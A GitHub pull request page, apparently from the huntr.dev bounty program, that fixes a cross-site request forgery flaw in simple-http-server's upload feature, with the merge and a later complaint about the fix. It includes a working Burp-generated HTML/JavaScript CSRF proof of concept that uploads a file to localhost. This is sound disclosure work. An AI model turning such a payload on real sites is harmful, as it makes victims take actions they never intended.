Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We鈥檒l occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

Security Fix for Cross Site Request Forgery (CSRF) - huntr.dev #57

Merged
merged 4 commits into from
Apr 15, 2021
Merged

Security Fix for Cross Site Request Forgery (CSRF) - huntr.dev #57

merged 4 commits into from
Apr 15, 2021

Conversation

huntr-helper
Copy link
Contributor

@doshmajhan (https://huntr.dev/users/doshmajhan) has fixed a potential Cross Site Request Forgery (CSRF) vulnerability in your repository 馃敤. For more information, visit our website (https://huntr.dev/) or click the bounty URL below...

Q | A
Version Affected | *
Bug Fix | YES
Original Pull Request | 418sec#1

If you are happy with this disclosure, we would love to get a CVE assigned to the vulnerability. Feel free to credit @doshmajhan, the discloser found in the bounty URL (below) and @huntr-helper.

User Comments:

馃搳 Metadata *

Bounty URL: https://huntr.dev/bounties/1-other-simple-http-server

鈿欙笍 Description *

The 'upload' feature in simple-http-server is vulnerable to cross-site request forgery, it doesn't authenticate the user and just uploads the files which are given to it. If the upload feature is enabled, it can allow attackers to craft web pages and if victims interact with attackers' web pages then a cross-site request can be sent to the website by simple-http-server and a file can be uploaded on behalf of the victim.

The change here generates a CSRF token when the --upload flag is passed and displays it to the user as well as embedding it in the HTML page for the directory listing. If the csrf parameter is not passed or does not match the generated one when uploading a file, the request will be rejected with a 400.

馃悰 Proof of Concept (PoC) *

Start a web server with --upload as an argument that enables uploading functionality.
Save the following PoC.html and open it in a browser.
Click on "Submit Request".
Observe that a file was uploaded, you can check the webroot and see the newly uploaded file.
In this process, authentication wasn't required and with minimal user interaction, a file can be uploaded on behalf of the victim.

<!-- PoC.html -->

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http:\/\/localhost:8000\/", true);
        xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------355111547139502215671973431497");
        xhr.withCredentials = true;
        var body = "-----------------------------355111547139502215671973431497\r\n" + 
          "Content-Disposition: form-data; name=\"files\"; filename=\"file.txt\"\r\n" + 
          "Content-Type: text/plain\r\n" + 
          "\r\n" + 
          "hello pwned\r\n\r\n" + 
          "-----------------------------355111547139502215671973431497--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
  </body>
</html>

馃敟 Proof of Fix (PoF) *

In the attached screenshot you'll see that the request generated by clicking Submit Request in the PoC.html failed with a 400 due to not providing a CSRF token.

Screenshot from 2021-04-08 17-11-04

@TheWaWaR
Copy link
Owner

Thanks

@TheWaWaR TheWaWaR merged commit 892fb89 into TheWaWaR:master Apr 15, 2021
@dw5
Copy link

dw5 commented May 9, 2024

i hate this commit. makes powershell file upload impossible. also such simple server is used on LANs, i doubt CSRF is needed.
Literally have to use transfer.sh for simple automated file upload

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Reviewers
No reviews
Assignees
No one assigned
Labels
None yet
Projects
None yet
Milestone
No milestone
Development

Successfully merging this pull request may close these issues.

None yet
3 participants
@huntr-helper @TheWaWaR @dw5